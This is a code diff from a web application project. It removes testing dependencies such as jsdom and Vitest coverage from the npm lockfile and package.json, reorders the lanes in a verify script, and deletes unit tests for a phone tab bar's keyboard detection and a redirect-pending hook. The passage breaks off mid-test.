"sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ==", - "dev": true, - "license": "MIT" - }, "node_modules/isarray": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", @@ -9422,45 +8784,6 @@ "url": "https://github.com/sponsors/dmonad" } }, - "node_modules/istanbul-lib-coverage": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.2.tgz", - "integrity": "sha512-O8dpsF+r0WV/8MNRKfnmrtCWhuKjxrq2w+jpzBL5UZKTi2LeVWnWOmWRxFlesJONmc+wLAGvKQZEOanko0LFTg==", - "dev": true, - "license": "BSD-3-Clause", - "engines": { - "node": ">=8" - } - }, - "node_modules/istanbul-lib-report": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.1.tgz", - "integrity": "sha512-GCfE1mtsHGOELCU8e/Z7YWzpmybrx/+dSTfLrvY8qRmaY6zXTKWn6WQIjaAFw069icm6GVMNkgu0NzI4iPZUNw==", - "dev": true, - "license": "BSD-3-Clause", - "dependencies": { - "istanbul-lib-coverage": "^3.0.0", - "make-dir": "^4.0.0", - "supports-color": "^7.1.0" - }, - "engines": { - "node": ">=10" - } - }, - "node_modules/istanbul-reports": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.2.0.tgz", - "integrity": "sha512-HGYWWS/ehqTV3xN10i23tkPkpH46MLCIMFNCaaKNavAXTF1RkqxawEPtnjnGZ6XKSInBKkiOA5BKS+aZiY3AvA==", - "dev": true, - "license": "BSD-3-Clause", - "dependencies": { - "html-escaper": "^2.0.0", - "istanbul-lib-report": "^3.0.0" - }, - "engines": { - "node": ">=8" - } - }, "node_modules/jiti": { "version": "2.7.0", "resolved": "https://registry.npmjs.org/jiti/-/jiti-2.7.0.tgz", @@ -9510,52 +8833,6 @@ "js-yaml": "bin/js-yaml.js" } }, - "node_modules/jsdom": { - "version": "20.0.3", - "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-20.0.3.tgz", - "integrity": "sha512-SYhBvTh89tTfCD/CRdSOm13mOBa42iTaTyfyEWBdKcGdPxPtLFBXuHR8XHb33YNYaP+lLbmSvBTsnoesCNJEsQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "abab": "^2.0.6", - "acorn": "^8.8.1", - "acorn-globals": "^7.0.0", - "cssom": "^0.5.0", - "cssstyle": "^2.3.0", - "data-urls": "^3.0.2", - "decimal.js": "^10.4.2", - "domexception": "^4.0.0", - "escodegen": "^2.0.0", - "form-data": "^4.0.0", - "html-encoding-sniffer": "^3.0.0", - "http-proxy-agent": "^5.0.0", - "https-proxy-agent": "^5.0.1", - "is-potential-custom-element-name": "^1.0.1", - "nwsapi": "^2.2.2", - "parse5": "^7.1.1", - "saxes": "^6.0.0", - "symbol-tree": "^3.2.4", - "tough-cookie": "^4.1.2", - "w3c-xmlserializer": "^4.0.0", - "webidl-conversions": "^7.0.0", - "whatwg-encoding": "^2.0.0", - "whatwg-mimetype": "^3.0.0", - "whatwg-url": "^11.0.0", - "ws": "^8.11.0", - "xml-name-validator": "^4.0.0" - }, - "engines": { - "node": ">=14" - }, - "peerDependencies": { - "canvas": "^2.5.0" - }, - "peerDependenciesMeta": { - "canvas": { - "optional": true - } - } - }, "node_modules/jsesc": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz", @@ -10160,17 +9437,6 @@ "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0-rc" } }, - "node_modules/lz-string": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/lz-string/-/lz-string-1.5.0.tgz", - "integrity": "sha512-h5bgJWpxJNswbU7qCrV0tIKQCaS3blPDrqKWx+QxzuzL1zGUzij9XCWLrSLsJPu5t+eWA/ycetzYAO5IOMcWAQ==", - "dev": true, - "license": "MIT", - "peer": true, - "bin": { - "lz-string": "bin/bin.js" - } - }, "node_modules/magic-string": { "version": "0.30.21", "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz", @@ -10181,34 +9447,6 @@ "@jridgewell/sourcemap-codec": "^1.5.5" } }, - "node_modules/magicast": { - "version": "0.5.4", - "resolved": "https://registry.npmjs.org/magicast/-/magicast-0.5.4.tgz", - "integrity": "sha512-llBEhWm1SacoRwgHUoQJYtwp4PBLF4faQi5TCpIGyGs9n4y5+juI0tDgyKIfpqxckRHaHzouUEph3THklWh03w==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/parser": "^7.29.7", - "@babel/types": "^7.29.7", - "source-map-js": "^1.2.1" - } - }, - "node_modules/make-dir": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-4.0.0.tgz", - "integrity": "sha512-hXdUTZYIVOt1Ex//jAQi+wTZZpUpwBj/0QsOzqegb3rGMMeJiSEu5xLHnYfBrRV4RH2+OCSOO95Is/7x1WJ4bw==", - "dev": true, - "license": "MIT", - "dependencies": { - "semver": "^7.5.3" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, "node_modules/mammoth": { "version": "1.12.2", "resolved": "https://registry.npmjs.org/mammoth/-/mammoth-1.12.2.tgz", @@ -10242,16 +9480,6 @@ "sprintf-js": "~1.0.2" } }, - "node_modules/math-intrinsics": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", - "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 0.4" - } - }, "node_modules/mdast-util-from-markdown": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/mdast-util-from-markdown/-/mdast-util-from-markdown-2.0.3.tgz", @@ -10847,39 +10075,6 @@ ], "license": "MIT" }, - "node_modules/mime-db": { - "version": "1.52.0", - "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", - "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/mime-types": { - "version": "2.1.35", - "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", - "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", - "dev": true, - "license": "MIT", - "dependencies": { - "mime-db": "1.52.0" - }, - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/min-indent": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/min-indent/-/min-indent-1.0.1.tgz", - "integrity": "sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=4" - } - }, "node_modules/minimalistic-assert": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz", @@ -11011,13 +10206,6 @@ "node": ">=18" } }, - "node_modules/nwsapi": { - "version": "2.2.27", - "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.27.tgz", - "integrity": "sha512-gQPNF78qebCQ6tvVFBYrvJdBNOrYZm90ZlXgpIFm06p6qHDHq/XC4TnJftN6OMbxVE0UTBAoRgcsDeJBBooITw==", - "dev": true, - "license": "MIT" - }, "node_modules/object-assign": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", @@ -11232,19 +10420,6 @@ "integrity": "sha512-CmBKiL6NNo/OqgmMn95Fk9Whlp2mtvIv+KNpQKN2F4SjvrEesubTRWGYSg+BnWZOnlCaSTU1sMpsBOzgbYhnsA==", "license": "MIT" }, - "node_modules/parse5": { - "version": "7.3.0", - "resolved": "https://registry.npmjs.org/parse5/-/parse5-7.3.0.tgz", - "integrity": "sha512-IInvU7fabl34qmi9gY8XOVxhYyMyuH2xUNpb2q8/Y+7552KlejkRvqvD19nMoUW/uQGGbqNpA6Tufu5FL5BZgw==", - "dev": true, - "license": "MIT", - "dependencies": { - "entities": "^6.0.0" - }, - "funding": { - "url": "https://github.com/inikulin/parse5?sponsor=1" - } - }, "node_modules/path-exists": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", @@ -11628,36 +10803,6 @@ "node": ">= 0.8.0" } }, - "node_modules/pretty-format": { - "version": "27.5.1", - "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz", - "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==", - "dev": true, - "license": "MIT", - "peer": true, - "dependencies": { - "ansi-regex": "^5.0.1", - "ansi-styles": "^5.0.0", - "react-is": "^17.0.1" - }, - "engines": { - "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" - } - }, - "node_modules/pretty-format/node_modules/ansi-styles": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", - "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", - "dev": true, - "license": "MIT", - "peer": true, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" - } - }, "node_modules/process-nextick-args": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", @@ -11847,19 +10992,6 @@ "dev": true, "license": "MIT" }, - "node_modules/psl": { - "version": "1.15.0", - "resolved": "https://registry.npmjs.org/psl/-/psl-1.15.0.tgz", - "integrity": "sha512-JZd3gMVBAVQkSs6HdNZo9Sdo0LNcQeMNP3CozBJb3JYC/QUYZTnKxP+f8oWRX4rHP5EurWxqAHTSwUCjlNKa1w==", - "dev": true, - "license": "MIT", - "dependencies": { - "punycode": "^2.3.1" - }, - "funding": { - "url": "https://github.com/sponsors/lupomontero" - } - }, "node_modules/punycode": { "version": "2.3.1", "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", @@ -11876,13 +11008,6 @@ "integrity": "sha512-lT5yCqEBgfoMYpf3F2xQRK7zEr1rhIIZuceDK6+xRkJQ4NMbHTwXqk4NkwDwQMNqXgG9r9fyHnzwNVs6zV5KRw==", "license": "MIT" }, - "node_modules/querystringify": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.2.0.tgz", - "integrity": "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==", - "dev": true, - "license": "MIT" - }, "node_modules/raf": { "version": "3.4.1", "resolved": "https://registry.npmjs.org/raf/-/raf-3.4.1.tgz", @@ -12009,14 +11134,6 @@ "react": ">=0.0.0 <=99" } }, - "node_modules/react-is": { - "version": "17.0.2", - "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz", - "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==", - "dev": true, - "license": "MIT", - "peer": true - }, "node_modules/react-joyride": { "version": "2.9.3", "resolved": "https://registry.npmjs.org/react-joyride/-/react-joyride-2.9.3.tgz", @@ -12283,20 +11400,6 @@ "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==", "license": "MIT" }, - "node_modules/redent": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/redent/-/redent-3.0.0.tgz", - "integrity": "sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==", - "dev": true, - "license": "MIT", - "dependencies": { - "indent-string": "^4.0.0", - "strip-indent": "^3.0.0" - }, - "engines": { - "node": ">=8" - } - }, "node_modules/regenerator-runtime": { "version": "0.13.11", "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.11.tgz", @@ -12337,13 +11440,6 @@ "url": "https://opencollective.com/unified" } }, - "node_modules/requires-port": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", - "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==", - "dev": true, - "license": "MIT" - }, "node_modules/resolve-from": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", @@ -12432,26 +11528,6 @@ "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", "license": "MIT" }, - "node_modules/safer-buffer": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", - "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", - "dev": true, - "license": "MIT" - }, - "node_modules/saxes": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/saxes/-/saxes-6.0.0.tgz", - "integrity": "sha512-xAg7SOnEhrm5zI3puOOKyy1OMcMlIJZYNJY7xLBwSze0UjhPLnWfj2GF2EpT0jmzaJKIWKHLsaSSajf35bcYnA==", - "dev": true, - "license": "ISC", - "dependencies": { - "xmlchars": "^2.2.0" - }, - "engines": { - "node": ">=v12.22.7" - } - }, "node_modules/scheduler": { "version": "0.23.2", "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.23.2.tgz", @@ -12564,17 +11640,6 @@ } } }, - "node_modules/source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true, - "license": "BSD-3-Clause", - "optional": true, - "engines": { - "node": ">=0.10.0" - } - }, "node_modules/source-map-js": { "version": "1.2.2", "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.2.tgz", @@ -12676,19 +11741,6 @@ "url": "https://github.com/sponsors/wooorm" } }, - "node_modules/strip-indent": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-3.0.0.tgz", - "integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "min-indent": "^1.0.0" - }, - "engines": { - "node": ">=8" - } - }, "node_modules/strip-json-comments": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", @@ -12767,13 +11819,6 @@ "node": ">=12.0.0" } }, - "node_modules/symbol-tree": { - "version": "3.2.4", - "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz", - "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==", - "dev": true, - "license": "MIT" - }, "node_modules/tailwind-merge": { "version": "3.7.0", "resolved": "https://registry.npmjs.org/tailwind-merge/-/tailwind-merge-3.7.0.tgz", @@ -12896,45 +11941,6 @@ "node": ">=14.0.0" } }, - "node_modules/tough-cookie": { - "version": "4.1.4", - "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.4.tgz", - "integrity": "sha512-Loo5UUvLD9ScZ6jh8beX1T6sO1w2/MpCRpEP7V280GKMVUQ0Jzar2U3UJPsrdbziLEMMhu3Ujnq//rhiFuIeag==", - "dev": true, - "license": "BSD-3-Clause", - "dependencies": { - "psl": "^1.1.33", - "punycode": "^2.1.1", - "universalify": "^0.2.0", - "url-parse": "^1.5.3" - }, - "engines": { - "node": ">=6" - } - }, - "node_modules/tough-cookie/node_modules/universalify": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.2.0.tgz", - "integrity": "sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 4.0.0" - } - }, - "node_modules/tr46": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/tr46/-/tr46-3.0.0.tgz", - "integrity": "sha512-l7FvfAHlcmulp8kr+flpQZmVwtu7nfRV7NZujtN0OqES8EL4O4e0qqzL0DC5gAvx/ZC/9lk6rhcUwYvkBnBnYA==", - "dev": true, - "license": "MIT", - "dependencies": { - "punycode": "^2.1.1" - }, - "engines": { - "node": ">=12" - } - }, "node_modules/tree-changes": { "version": "0.11.3", "resolved": "https://registry.npmjs.org/tree-changes/-/tree-changes-0.11.3.tgz", @@ -13237,17 +12243,6 @@ "punycode": "^2.1.0" } }, - "node_modules/url-parse": { - "version": "1.5.10", - "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz", - "integrity": "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "querystringify": "^2.1.1", - "requires-port": "^1.0.0" - } - }, "node_modules/use-callback-ref": { "version": "1.3.3", "resolved": "https://registry.npmjs.org/use-callback-ref/-/use-callback-ref-1.3.3.tgz", @@ -13603,19 +12598,6 @@ "integrity": "sha512-dpojBhNsCNN7T82Tm7k26A6G9ML3NkhDsnw9n/eoxSRlVBB4CEtIQ/KTCLI2Fwf3ataSXRhYFkQi3SlnFwPvPQ==", "license": "MIT" }, - "node_modules/w3c-xmlserializer": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-4.0.0.tgz", - "integrity": "sha512-d+BFHzbiCx6zGfz0HyQ6Rg69w9k19nviJspaj4yNscGjrHu94sVP+aRm75yEbCh+r2/yR+7q6hux9LVtbuTGBw==", - "dev": true, - "license": "MIT", - "dependencies": { - "xml-name-validator": "^4.0.0" - }, - "engines": { - "node": ">=14" - } - }, "node_modules/walk-up-path": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/walk-up-path/-/walk-up-path-4.0.0.tgz", @@ -13639,54 +12621,6 @@ "integrity": "sha512-rLcLXA2sx6+9dE88NHFubwTtGxpK4yYBLj6qHPdFoCaLr0cXGb4efOqtKLlm4loGA4OEKHIQKMKzZkKyOh5ctw==", "license": "Apache-2.0" }, - "node_modules/webidl-conversions": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-7.0.0.tgz", - "integrity": "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g==", - "dev": true, - "license": "BSD-2-Clause", - "engines": { - "node": ">=12" - } - }, - "node_modules/whatwg-encoding": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-2.0.0.tgz", - "integrity": "sha512-p41ogyeMUrw3jWclHWTQg1k05DSVXPLcVxRTYsXUk+ZooOCZLcoYgPZ/HL/D/N+uQPOtcp1me1WhBEaX02mhWg==", - "deprecated": "Use @exodus/bytes instead for a more spec-conformant and faster implementation", - "dev": true, - "license": "MIT", - "dependencies": { - "iconv-lite": "0.6.3" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/whatwg-mimetype": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-3.0.0.tgz", - "integrity": "sha512-nt+N2dzIutVRxARx1nghPKGv1xHikU7HKdfafKkLNLindmPU/ch3U31NOCGGA/dmPcmb1VlofO0vnKAcsm0o/Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12" - } - }, - "node_modules/whatwg-url": { - "version": "11.0.0", - "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-11.0.0.tgz", - "integrity": "sha512-RKT8HExMpoYx4igMiVMY83lN6UeITKJlBQ+vR/8ZJ8OCdSiN3RwCq+9gH0+Xzj0+5IrM6i4j/6LuvzbZIQgEcQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "tr46": "^3.0.0", - "webidl-conversions": "^7.0.0" - }, - "engines": { - "node": ">=12" - } - }, "node_modules/which": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", @@ -13730,28 +12664,6 @@ "node": ">=0.10.0" } }, - "node_modules/ws": { - "version": "8.21.3", - "resolved": "https://registry.npmjs.org/ws/-/ws-8.21.3.tgz", - "integrity": "sha512-201TZ/kPWxoPr/OKWjquZR1SWKXcvxdH+e1xrx89b3YbmzLMFCLfnaG1HFIgWzJOEWZ7MvpK++odZufgYR50Rw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=10.0.0" - }, - "peerDependencies": { - "bufferutil": "^4.0.1", - "utf-8-validate": ">=5.0.2" - }, - "peerDependenciesMeta": { - "bufferutil": { - "optional": true - }, - "utf-8-validate": { - "optional": true - } - } - }, "node_modules/xml": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/xml/-/xml-1.0.1.tgz", @@ -13779,16 +12691,6 @@ "node": ">=11.0.0" } }, - "node_modules/xml-name-validator": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-4.0.0.tgz", - "integrity": "sha512-ICP2e+jsHvAj2E2lIHxa5tjXRlKDJo4IdvPvCXbXQGdzSfmSpNVyIKMvoZHjDY9DP0zV17iI85o90vRFXNccRw==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=12" - } - }, "node_modules/xmlbuilder": { "version": "10.1.1", "resolved": "https://registry.npmjs.org/xmlbuilder/-/xmlbuilder-10.1.1.tgz", @@ -13798,13 +12700,6 @@ "node": ">=4.0" } }, - "node_modules/xmlchars": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz", - "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==", - "dev": true, - "license": "MIT" - }, "node_modules/xtend": { "version": "4.0.2", "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz", diff --git a/package.json b/package.json index acfb20ed8..19f355a96 100644 --- a/package.json +++ b/package.json @@ -122,21 +122,17 @@ "@sentry/vite-plugin": "^5.4.0", "@tailwindcss/typography": "^0.5.16", "@tailwindcss/vite": "^4.3.3", - "@testing-library/jest-dom": "^6.6.0", - "@testing-library/react": "^16.0.0", "@types/node": "^22.16.5", "@types/pg": "8.23.1", "@types/react": "^18.3.23", "@types/react-dom": "^18.3.7", "@vitejs/plugin-react-swc": "^3.11.0", - "@vitest/coverage-v8": "^4.1.12", "ai": "^7.0.127", "e2e": "0.17.0", "eslint": "^9.32.0", "eslint-plugin-react-hooks": "^5.2.0", "eslint-plugin-react-refresh": "^0.4.20", "globals": "^15.15.0", - "jsdom": "^20.0.3", "knip": "^6.39.0", "squawk-cli": "^2.67.0", "supabase": "2.121.0", diff --git a/scripts/verify.mjs b/scripts/verify.mjs index e5f17726d..b9a261fec 100644 --- a/scripts/verify.mjs +++ b/scripts/verify.mjs @@ -7,9 +7,9 @@ // runs to the end, so one run reports every failure. // // The VPS is short on memory. Alone, lint, build and smoke each take about -// 2 GB and Vitest with three workers about 1.8 GB, so the lanes are ordered to -// run at most two of them at once (about 4 GB above idle). A third lane was no -// faster and took 6 GB. NODE_OPTIONS defaults to a 3 GB heap per Node process. +// 2 GB, so the lanes are ordered to run at most two of them at once (about +// 4 GB above idle). A third lane was no faster and took 6 GB. NODE_OPTIONS +// defaults to a 3 GB heap per Node process. import { execFileSync, spawn } from "node:child_process"; import { createWriteStream, mkdirSync, readFileSync, rmSync } from "node:fs"; import { join } from "node:path"; @@ -27,12 +27,11 @@ const LANES = [ { name: "lint", command: "npm run lint" }, { name: "build", command: "bash .superset/heavy.sh npm run build" }, { name: "sw-offline", command: "npm run test:sw" }, - { name: "edge", command: "npm run test:edge" }, ], [ { name: "typecheck", command: "npm run typecheck" }, - { name: "unit", command: "npm test -- --maxWorkers=3" }, - { name: "collaboration", command: "npm run test:collaboration" }, + { name: "guards", command: "npm test" }, + { name: "edge", command: "npm run test:edge" }, { name: "smoke", command: "npm run test:e2e:smoke", env: smokeEnv }, ], ]; diff --git a/src/components/layout/phone-tab-bar.test.ts b/src/components/layout/phone-tab-bar.test.ts deleted file mode 100644 index 9452e8e09..000000000 --- a/src/components/layout/phone-tab-bar.test.ts +++ /dev/null @@ -1,34 +0,0 @@ -import { expect, test } from 'vitest'; -import { KEYBOARD_OPEN_PX, isTextEntry, keyboardIsOpen, keyboardOverlap } from './phone-tab-bar'; - -test('keyboard overlap ignores the URL bar and reports a real keyboard', () => { - expect(keyboardOverlap(844, 800, 0)).toBe(44); - expect(keyboardOverlap(844, 800, 0) >= KEYBOARD_OPEN_PX).toBe(false); - expect(keyboardOverlap(844, 430, 0)).toBe(414); - expect(keyboardOverlap(844, 430, 0) >= KEYBOARD_OPEN_PX).toBe(true); - // iOS shifts the visual viewport up while the keyboard is open. - expect(keyboardOverlap(844, 500, 80)).toBe(264); -}); - -test('keyboard overlap stays at zero for a missing or inverted viewport', () => { - expect(keyboardOverlap(Number.NaN, 400, 0)).toBe(0); - expect(keyboardOverlap(800, 900, 0)).toBe(0); - expect(keyboardOverlap(800, 700, 200)).toBe(0); -}); - -test('a keyboard is not pinch-zoom or an unfocused viewport shrink', () => { - expect(keyboardIsOpen(844, 430, 0, 1, true)).toBe(true); - expect(keyboardIsOpen(844, 800, 0, 1, true)).toBe(false); - expect(keyboardIsOpen(844, 430, 0, 1.5, true)).toBe(false); - expect(keyboardIsOpen(844, 430, 0, 1, false)).toBe(false); - expect(keyboardIsOpen(844, 430, 0, Number.NaN, true)).toBe(false); -}); - -test('text entry is an input or textarea, not a button', () => { - expect(isTextEntry('TEXTAREA', null, false)).toBe(true); - expect(isTextEntry('INPUT', 'text', false)).toBe(true); - expect(isTextEntry('INPUT', null, false)).toBe(true); - expect(isTextEntry('DIV', null, true)).toBe(true); - expect(isTextEntry('INPUT', 'checkbox', false)).toBe(false); - expect(isTextEntry('BUTTON', null, false)).toBe(false); -}); diff --git a/src/hooks/use-external-redirect-pending.test.tsx b/src/hooks/use-external-redirect-pending.test.tsx deleted file mode 100644 index 6d323397f..000000000 --- a/src/hooks/use-external-redirect-pending.test.tsx +++ /dev/null @@ -1,94 +0,0 @@ -import { act, renderHook } from '@testing-library/react'; -import { afterEach, describe, expect, it, vi } from 'vitest'; -import { useExternalRedirectPending } from './use-external-redirect-pending'; -import { restoreFromBackForwardCache, restoreVisibility, setVisibility } from '@/test/helpers/page-lifecycle'; - -function deferred() { - let resolve!: () => void; - const promise = new Promise((r) => { resolve = r; }); - return { promise, resolve }; -} - -afterEach(() => { - restoreVisibility(); - vi.useRealTimers(); -}); - -describe('useExternalRedirectPending', () => { - it('clears pending when the page comes back from the back/forward cache', async () => { - const { result } = renderHook(() => useExternalRedirectPending()); - await act(() => result.current.run(async () => undefined)); - expect(result.current.pending).toBe(true); - - restoreFromBackForwardCache(); - expect(result.current.pending).toBe(false); - }); - - it('starts one navigation per click while pending', async () => { - const navigate = vi.fn(async () => undefined); - const { result } = renderHook(() => useExternalRedirectPending()); - await act(async () => { - await Promise.all([result.current.run(navigate), result.current.run(navigate)]); - }); - expect(navigate).toHaveBeenCalledTimes(1); - }); - - it('keeps pending through tab switches and the timeout until the request resolves', async () => { - vi.useFakeTimers(); - const request = deferred(); - const { result } = renderHook(() => useExternalRedirectPending(1000)); - let running!: Promise; - act(() => { running = result.current.run(() => request.promise); }); - - setVisibility('hidden'); - setVisibility('visible'); - act(() => { vi.advanceTimersByTime(5000); }); - expect(result.current.pending).toBe(true); - - await act(async () => { - request.resolve(); - await running; - }); - setVisibility('hidden'); - setVisibility('visible'); - expect(result.current.pending).toBe(false); - }); - - it('gives up waiting after the safety timeout', async () => { - vi.useFakeTimers(); - const { result } = renderHook(() => useExternalRedirectPending(1000)); - await act(() => result.current.run(async () => undefined)); - act(() => { 